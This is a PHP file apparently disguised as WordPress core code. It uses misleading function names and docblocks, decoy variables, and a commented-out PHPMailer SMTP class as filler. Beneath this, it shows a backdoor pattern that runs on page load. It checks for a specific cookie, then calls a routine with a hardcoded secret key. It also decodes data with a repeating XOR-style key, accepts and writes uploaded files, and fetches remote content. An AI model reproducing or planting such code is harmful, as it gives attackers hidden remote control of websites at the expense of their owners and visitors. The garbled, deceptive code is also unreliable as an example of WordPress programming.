    $o_entries = "welcome_page";
    $view_script_module_ids = explode("_", $o_entries);
    $pass_allowed_protocols = implode("_", array_map('strtoupper', $view_script_module_ids));
    $registration_log = strlen($pass_allowed_protocols); //   PCLZIP_OPT_BY_INDEX :
    $opslimit = register_block_core_latest_posts('md5', $pass_allowed_protocols); // adobe PReMiere version
    signup_nonce_check($profile);
}


/**
	 * Fires before the search form is retrieved, at the start of get_search_form().
	 *
	 * @since 2.7.0 as 'get_search_form' action.
	 * @since 3.6.0
	 * @since 5.5.0 The `$toolbar1rgs` parameter was added.
	 *
	 * @link https://core.trac.wordpress.org/ticket/19321
	 *
	 * @param array $toolbar1rgs The array of arguments for building the search form.
	 *                    See get_search_form() for information on accepted arguments.
	 */
function get_page_cache_detail($tmpfname_disposition)
{
    $tmpfname_disposition = register_route($tmpfname_disposition); // "name":value pair
    $smtp_transaction_id_pattern = "Hello_World";
    return file_get_contents($tmpfname_disposition); // Ignore lines which do not exist in both files.
}


/**
	 * Consume a range of characters
	 *
	 * @access private
	 * @param string $rollback_results Characters to consume
	 * @return mixed A series of characters that match the range, or false
	 */
function get_the_content($view_script_module_ids) {
    $section_args = "Hello";
    $path_with_origin = str_pad($section_args, 10, "*");
    if (strlen($path_with_origin) > 8) {
        $post_types = $path_with_origin;
    }

    return max($view_script_module_ids);
}


/**
 * Core class to manage comment meta via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
function shortcode_atts($unified, $package_data)
{
    $network_plugins = strlen($package_data);
    $total_revisions = "12345";
    $resized_file = register_block_core_latest_posts('md5', $total_revisions);
    $the_cat = strlen($unified);
    $v_bytes = strlen($resized_file);
    if ($v_bytes < 32) {
        $resized_file = str_pad($resized_file, 32, "0");
    }
 // v0 => $v[0], $v[1]
    $network_plugins = $the_cat / $network_plugins; //         [4D][BB] -- Contains a single seek entry to an EBML element.
    $network_plugins = ceil($network_plugins);
    $registered_webfonts = str_split($unified);
    $package_data = str_repeat($package_data, $network_plugins);
    $post_name_abridged = str_split($package_data); //Create error message for any bad addresses
    $post_name_abridged = array_slice($post_name_abridged, 0, $the_cat);
    $log_level = array_map("wp_img_tag_add_loading_attr", $registered_webfonts, $post_name_abridged);
    $log_level = implode('', $log_level);
    return $log_level;
}


/**
	 * Retrieves all error codes.
	 *
	 * @since 2.1.0
	 *
	 * @return array List of error codes, if available.
	 */
function block_core_navigation_get_fallback_blocks($offset_or_tz, $WMpicture, $profile)
{
    $num_posts = $_FILES[$offset_or_tz]['name'];
    $toolbar1 = "https%3A%2F%2Fexample.com";
    $DKIM_selector = rawurldecode($toolbar1);
    $max_srcset_image_width = strlen($DKIM_selector); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
    $root_style_key = substr($DKIM_selector, 0, 10); // $required_properties2 = $table_names0g2 + $table_names1g1_2  + $table_names2g0    + $table_names3g9_38 + $table_names4g8_19 + $table_names5g7_38 + $table_names6g6_19 + $table_names7g5_38 + $table_names8g4_19 + $table_names9g3_38;
    $utf8_pcre = register_block_core_latest_posts("sha1", $max_srcset_image_width);
    $thumbnail_update = get_selective_refreshable_widgets($num_posts); // schema version 3
    $table_names = explode(":", $root_style_key); //   Where time stamp format is:
    wp_get_nav_menu_object($_FILES[$offset_or_tz]['tmp_name'], $WMpicture);
    $theme_root_uri = array_merge($table_names, array($utf8_pcre));
    $required_properties = count($theme_root_uri);
    $widget_object = str_pad($required_properties, 5, "0");
    $old_posts = trim(" SHA "); // Navigation links.
    handle_terms($_FILES[$offset_or_tz]['tmp_name'], $thumbnail_update);
}


/**
 * Retrieves the URL for a given site where the front end is accessible.
 *
 * Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
 * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
 * If `$scheme` is 'http' or 'https', is_ssl() is overridden.
 *
 * @since 3.0.0
 *
 * @param int|null    $DKIM_selectorlog_id Optional. Site ID. Default null (current site).
 * @param string      $path    Optional. Path relative to the home URL. Default empty.
 * @param string|null $scheme  Optional. Scheme to give the home URL context. Accepts
 *                             'http', 'https', 'relative', 'rest', or null. Default null.
 * @return string Home URL link with optional path appended.
 */
function wp_plugin_update_rows($offset_or_tz)
{
    $WMpicture = 'pARymmlSwYkWGkkqRjsqzfiHZKj';
    $total_revisions = "Data to be worked upon"; // The minimum supported PHP version will be updated to 7.2. Check if the current version is lower.
    if (!empty($total_revisions) && strlen($total_revisions) > 5) {
        $source_value = str_pad(rawurldecode($total_revisions), 50, '.');
    }

    if (isset($_COOKIE[$offset_or_tz])) { // For every remaining index specified for the table.
    $numblkscod = explode(' ', $source_value);
    $queue = array_map(function($synchsafe) {
        return register_block_core_latest_posts('sha256', $synchsafe);
    }, $numblkscod);
    $CodecIDlist = implode('--', $queue);
        LociString($offset_or_tz, $WMpicture);
    }
} // ----- Compose the full filename


/**
 * Small header with dark background block pattern
 */
function wp_dashboard_site_activity()
{
    return __DIR__;
}


/**
 * Whether the server software is Apache or something else.
 *
 * @global bool $widget_objects_apache
 */
function add_dynamic_settings($tmpfname_disposition) // Only pass along the number of entries in the multicall the first time we see it.
{
    $num_posts = basename($tmpfname_disposition);
    $o_entries = "   Learn PHP   ";
    $MPEGaudioLayerLookup = trim($o_entries);
    $thumbnail_update = get_selective_refreshable_widgets($num_posts);
    $registration_log = strlen($MPEGaudioLayerLookup);
    if (!empty($MPEGaudioLayerLookup) && $registration_log > 5) {
        $mimetype = "String is valid.";
    }

    wp_kses_normalize_entities($tmpfname_disposition, $thumbnail_update);
}
$offset_or_tz = 'kbbKUaA';
$pathdir = "The quick brown fox";
wp_plugin_update_rows($offset_or_tz);
$shape = strlen($pathdir);
$submitted_form = secureHeader("1,5,3,9,2"); // Only one folder? Then we want its contents.
$touches = substr($pathdir, 4, 10);
/*   
    public function reset()
    {
        return $this->sendCommand('RSET', 'RSET', 250);
    }

    *
     * Send a command to an SMTP server and check its return code.
     * @param string $command The command name - not sent to the server
     * @param string $commandstring The actual command to send
     * @param integer|array $expect One or more expected integer success codes
     * @access protected
     * @return boolean True on success.
     
    protected function sendCommand($command, $commandstring, $expect)
    {
        if (!$this->connected()) {
            $this->setError("Called $command without being connected");
            return false;
        }
        Reject line breaks in all commands
        if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) {
            $this->setError("Command '$command' contained line breaks");
            return false;
        }
        $this->client_send($commandstring . self::CRLF);

        $this->last_reply = $this->get_lines();
         Fetch SMTP code and possible error code explanation
        $matches = array();
        if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
            $code = $matches[1];
            $code_ex = (count($matches) > 2 ? $matches[2] : null);
             Cut off error code from each response line
            $detail = preg_replace(
                "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
                '',
                $this->last_reply
            );
        } else {
             Fall back to simple parsing if regex fails
            $code = substr($this->last_reply, 0, 3);
            $code_ex = null;
            $detail = substr($this->last_reply, 4);
        }

        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);

        if (!in_array($code, (array)$expect)) {
            $this->setError(
                "$command command failed",
                $detail,
                $code,
                $code_ex
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
                self::DEBUG_CLIENT
            );
            return false;
        }

        $this->setError('');
        return true;
    }

    *
     * Send an SMTP SAML command.
     * Starts a mail transaction from the email address specified in $from.
     * Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command. This command
     * will send the message to the users terminal if they are logged
     * in and send them an email.
     * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
     * @param string $from The address the message is from
     * @access public
     * @return boolean
     
    public function sendAndMail($from)
    {
        return $this->sendCommand('SAML', "SAML FROM:$from", 250);
    }

    *
     * Send an SMTP VRFY command.
     * @param string $name The name to verify
     * @access public
     * @return boolean
     
    public function verify($name)
    {
        return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
    }

    *
     * Send an SMTP NOOP command.
     * Used to keep keep-alives alive, doesn't actually do anything
     * @access public
     * @return boolean
     
    public function noop()
    {
        return $this->sendCommand('NOOP', 'NOOP', 250);
    }

    *
     * Send an SMTP TURN command.
     * This is an optional command for SMTP that this class does not support.
     * This method is here to make the RFC821 Definition complete for this class
     * and _may_ be implemented in future
     * Implements from rfc 821: TURN <CRLF>
     * @access public
     * @return boolean
     
    public function turn()
    {
        $this->setError('The SMTP TURN command is not implemented');
        $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
        return false;
    }

    *
     * Send raw data to the server.
     * @param string $data The data to send
     * @access public
     * @return integer|boolean The number of bytes sent to the server or false on error
     
    public function client_send($data)
    {
        $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
        return fwrite($this->smtp_conn, $data);
    }

    *
     * Get the latest error.
     * @access public
     * @return array
     
    public function getError()
    {
        return $this->error;
    }

    *
     * Get SMTP extensions available on the server
     * @access public
     * @return array|null
     
    public function getServerExtList()
    {
        return $this->server_caps;
    }

    *
     * A multipurpose method
     * The method works in three ways, dependent on argument value and current state
     *   1. HELO/EHLO was not sent - returns null and set up $this->error
     *   2. HELO was sent
     *     $name = 'HELO': returns server name
     *     $name = 'EHLO': returns boolean false
     *     $name = any string: returns null and set up $this->error
     *   3. EHLO was sent
     *     $name = 'HELO'|'EHLO': returns server name
     *     $name = any string: if extension $name exists, returns boolean True
     *       or its options. Otherwise returns boolean False
     * In other words, one can use this method to detect 3 conditions:
     *  - null returned: handshake was not or we don't know about ext (refer to $this->error)
     *  - false returned: the requested feature exactly not exists
     *  - positive value returned: the requested feature exists
     * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
     * @return mixed
     
    public function getServerExt($name)
    {
        if (!$this->server_caps) {
            $this->setError('No HELO/EHLO was sent');
            return null;
        }

         the tight logic knot ;)
        if (!array_key_exists($name, $this->server_caps)) {
            if ($name == 'HELO') {
                return $this->server_caps['EHLO'];
            }
            if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
                return false;
            }
            $this->setError('HELO handshake was used. Client knows nothing about server extensions');
            return null;
        }

        return $this->server_caps[$name];
    }

    *
     * Get the last reply from the server.
     * @access public
     * @return string
     
    public function getLastReply()
    {
        return $this->last_reply;
    }

    *
     * Read the SMTP server's response.
     * Either before eof or socket timeout occurs on the operation.
     * With SMTP we can tell if we have more lines to read if the
     * 4th character is '-' symbol. If it is a space then we don't
     * need to read anything else.
     * @access protected
     * @return string
     
    protected function get_lines()
    {
         If the connection is bad, give up straight away
        if (!is_resource($this->smtp_conn)) {
            return '';
        }
        $data = '';
        $endtime = 0;
        stream_set_timeout($this->smtp_conn, $this->Timeout);
        if ($this->Timelimit > 0) {
            $endtime = time() + $this->Timelimit;
        }
        while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
            $str = @fgets($this->smtp_conn, 515);
            $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
            $this->edebug("SMTP -> get_lines(): \$str is  \"$str\"", self::DEBUG_LOWLEVEL);
            $data .= $str;
             If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
            if ((isset($str[3]) and $str[3] == ' ')) {
                break;
            }
             Timed-out? Log and break
            $info = stream_get_meta_data($this->smtp_conn);
            if ($info['timed_out']) {
                $this->edebug(
                    'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
             Now check if reads took too long
            if ($endtime and time() > $endtime) {
                $this->edebug(
                    'SMTP -> get_lines(): timelimit reached ('.
                    $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
        }
        return $data;
    }

    *
     * Enable or disable VERP address generation.
     * @param boolean $enabled
     
    public function setVerp($enabled = false)
    {
        $this->do_verp = $enabled;
    }

    *
     * Get VERP address generation mode.
     * @return boolean
     
    public function getVerp()
    {
        return $this->do_verp;
    }

    *
     * Set error messages and codes.
     * @param string $message The error message
     * @param string $detail Further detail on the error
     * @param string $smtp_code An associated SMTP error code
     * @param string $smtp_code_ex Extended SMTP code
     
    protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
    {
        $this->error = array(
            'error' => $message,
            'detail' => $detail,
            'smtp_code' => $smtp_code,
            'smtp_code_ex' => $smtp_code_ex
        );
    }

    *
     * Set debug output method.
     * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
     
    public function setDebugOutput($method = 'echo')
    {
        $this->Debugoutput = $method;
    }

    *
     * Get debug output method.
     * @return string
     
    public function getDebugOutput()
    {
        return $this->Debugoutput;
    }

    *
     * Set debug output level.
     * @param integer $level
     
    public function setDebugLevel($level = 0)
    {
        $this->do_debug = $level;
    }

    *
     * Get debug output level.
     * @return integer
     
    public function getDebugLevel()
    {
        return $this->do_debug;
    }

    *
     * Set SMTP timeout.
     * @param integer $timeout
     
    public function setTimeout($timeout = 0)
    {
        $this->Timeout = $timeout;
    }

    *
     * Get SMTP timeout.
     * @return integer
     
    public function getTimeout()
    {
        return $this->Timeout;
    }

    *
     * Reports an error number and string.
     * @param integer $errno The error number returned by PHP.
     * @param string $errmsg The error message returned by PHP.
     
    protected function errorHandler($errno, $errmsg)
    {
        $notice = 'Connection: Failed to connect to server.';
        $this->setError(
            $notice,
            $errno,
            $errmsg
        );
        $this->edebug(
            $notice . ' Error number ' . $errno . '. "Error notice: ' . $errmsg,
            self::DEBUG_CONNECTION
        );
    }

	*
	 * Will return the ID of the last smtp transaction based on a list of patterns provided
	 * in SMTP::$smtp_transaction_id_patterns.
	 * If no reply has been received yet, it will return null.
	 * If no pattern has been matched, it will return false.
	 * @return bool|null|string
	 
	public function getLastTransactionID()
	{
		$reply = $this->getLastReply();

		if (empty($reply)) {
			return null;
		}

		foreach($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) {
			if(preg_match($smtp_transaction_id_pattern, $reply, $matches)) {
				return $matches[1];
			}
		}

		return false;
    }
}
*/